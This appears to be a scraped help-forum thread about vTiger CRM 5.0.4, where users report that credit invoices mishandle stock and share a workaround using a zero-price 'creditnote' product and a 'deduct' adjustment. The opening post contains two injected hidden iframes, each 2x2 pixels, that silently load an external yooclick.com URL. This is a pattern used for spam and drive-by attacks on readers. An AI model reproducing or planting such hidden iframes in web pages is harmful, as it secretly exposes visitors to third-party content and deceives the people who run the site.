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credit invoice

hazamonzohazamonzo
edited August 2008 in Help - 5.0.4 Vote Up0Vote Down
Ive been looking through the forums for an answer for this question but have come up with very little.

If i was to invoice a customer and they decided they do no longer want the product then i assume i would "credit invoice them". So i add / edit an invoice and select credit invoice from the drop down.

Now the problem is that the stock is either not returned (thats if you edit an already created invoice) or the stock is deducted!! (thats if you try to create a new invoice and select "Credit Invoice").

Ive seen some JS hacks on these forums but ahlf of these reference to code or lines of code do not exist. Ive also seen people talking about it getting fixed / integrated into the system and yet nothing seems to have been done about it.

Im using 5.0.4 (the latest) version. Can someone point me in the right direction. After trying out VTiger i was VERY impressed with its functionality but with this one lacking feature i cannot see myself being able to use it.

Thanks in advance, Harris <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 7 Comments sorted by Votes Date Added
  • hazamonzohazamonzo
    Vote Up0Vote Down
    no one else finds this a massive flaw in the software? <!-- s:d --><img src="{smilies_path}/icon_biggrin.gif" alt=":d" title="very happy" /><!-- s:d -->

    or am i just not doing something right?

    cheers, harris
  • hazamonzohazamonzo
    Vote Up0Vote Down
    *shameless bump*
  • Andy De BaetsAndy De Baets
    Vote Up0Vote Down
    hello harris,

    did you find out how you can manage the credit invoice? i have the same problem. also if i select credit invoice on the drop down nothing is changed the on the invoive itselfs. so you can't see if it's a normal invoice or a credit invoice.

    regards,
    andy
  • wanneswannes
    Vote Up0Vote Down
    we managed to tackle the credit invoice by using the adjustment "deduct" function in invoices.
    first you need to create a new product: "creditnote" which has no price.
    afterwards, you just copy the invoice you want to credit and replace the product with the "creditnote" product.
    amount is just 1, price remains null.
    only at the last field (adjustment), you use deduct instead of add.

    here you'll find the complete instructions in dutch, but the screenshots tell more than a thousands words...

    http://kbase.motionmill.com/questions/273/creditnota+in+motionmill+crm

    other solutions are welcome!
  • joebordesjoebordes
    Vote Up0Vote Down
    thank you very much for the procedure.
    i have translated to spanish with due credit. i hope you don't mind.

    <!-- m --><a class="postlink" href="http://vtiger-spain.com/wiki/doku.php?id=abonofactura">http://vtiger-spain.com/wiki/doku.php?id=abonofactura</a><!-- m -->

    regards, joe
    tsolucio
  • churchpathchurchpath
    Vote Up0Vote Down
    thanks wannes,
    that's a great workaround.
    much appreciated.
    churchpath.
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